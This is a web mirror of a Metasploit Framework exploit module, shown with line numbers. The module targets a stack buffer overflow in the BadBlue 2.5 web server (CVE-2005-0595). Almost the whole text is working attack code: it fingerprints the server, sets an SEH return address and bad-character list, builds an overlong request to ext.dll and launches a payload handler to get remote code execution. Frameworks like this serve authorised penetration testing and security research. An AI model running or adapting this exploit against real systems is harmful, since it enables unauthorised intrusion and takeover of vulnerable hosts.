CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/http/badblue_ext_overflow.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GreatRanking
8
9
# NOTE: BadBlue doesn't give any HTTP headers when requesting '/'.
10
# However, a proper Server header is returned when requesting /index.html or using HEAD.
11
HttpFingerprint = { :method => 'HEAD', :pattern => [ /BadBlue\// ] }
12
13
include Msf::Exploit::Remote::HttpClient
14
include Msf::Exploit::Remote::Seh
15
16
def initialize(info = {})
17
super(update_info(info,
18
'Name' => 'BadBlue 2.5 EXT.dll Buffer Overflow',
19
'Description' => %q{
20
This is a stack buffer overflow exploit for BadBlue version 2.5.
21
},
22
'Author' => 'acaro <acaro[at]jervus.it>',
23
'License' => BSD_LICENSE,
24
'References' =>
25
[
26
[ 'CVE', '2005-0595' ],
27
[ 'OSVDB', '14238' ],
28
[ 'BID', '7387' ],
29
],
30
'DefaultOptions' =>
31
{
32
'EXITFUNC' => 'process',
33
},
34
'Privileged' => true,
35
'Payload' =>
36
{
37
'Space' => 500,
38
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
39
'StackAdjustment' => -3500,
40
},
41
'Platform' => 'win',
42
'Targets' =>
43
[
44
['BadBlue 2.5 (Universal)', { 'Ret' => 0x1003d9da }],
45
],
46
'DisclosureDate' => '2003-04-20',
47
'DefaultTarget' => 0))
48
end
49
50
def check
51
info = http_fingerprint # check method
52
if (info =~ /BadBlue\/2\.5/)
53
return Exploit::CheckCode::Appears
54
end
55
Exploit::CheckCode::Safe
56
end
57
58
def exploit
59
uri = "GET /ext.dll?mfcisapicommand="
60
sploit = rand_text_alphanumeric(500)
61
seh = generate_seh_payload(target.ret)
62
sploit[492, seh.length] = seh
63
uri << sploit
64
65
print_status("Trying target #{target.name}...")
66
send_request_raw({ 'uri' => uri })
67
68
handler
69
end
70
end
71
72